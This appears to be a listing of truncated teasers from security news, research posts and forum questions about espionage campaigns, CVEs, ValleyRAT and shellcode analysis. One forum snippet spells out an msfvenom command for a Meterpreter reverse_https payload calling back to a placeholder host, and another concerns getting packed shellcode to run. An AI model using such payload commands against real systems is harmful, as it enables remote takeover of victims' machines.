China-linked Evasive Panda used DNS poisoning to deliver the MgBot backdoor in targeted espionage attacks from 2022 to 2024.
IntroductionIn May 2025, Zscaler ThreatLabz discovered CVE-2025-50165, a critical remote code execution (RCE) vulnerability with a CVSS score of 9.8 that impacts the Windows Graphics Component. The ...
In this blogpost, ESET researchers provide an analysis of Spellbinder, a lateral movement tool for performing adversary-in-the-middle attacks, used by the China-aligned threat actor that we have named ...
How come there are no user-agent strings embedded in the shellcode when using this command: msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP> LPORT=443 ...
ESET researchers discovered a previously unknown vulnerability in Mozilla products, exploited in the wild by Russia-aligned group RomCom. This is at least the second time that RomCom has been caught ...
Cybersecurity researchers have uncovered an updated version of malware called ValleyRAT that's being distributed as part of a new campaign. "In the latest version, ValleyRAT introduced new commands, ...
DEF CON 31 – Bramwell Brizendine’s, Jacob Hince’s, Austin Babcock’s, Max Kersten’s ‘Game-Changing Advances In Windows Shellcode Analysis’ by Marc Handelman on November 22, 2023 ...
At least for now, though, it seems like this change will only apply to future Windows versions. We were able to activate a fresh Windows 11 Pro 22H2 install with a Windows 8 Pro product key as of this ...
The compilation of the RustPacker project and the shellcode packing operation work fine. But when I execute the resulting PE (the packed shellcode) on a Windows 10 machine, nothing happen. No error, ...
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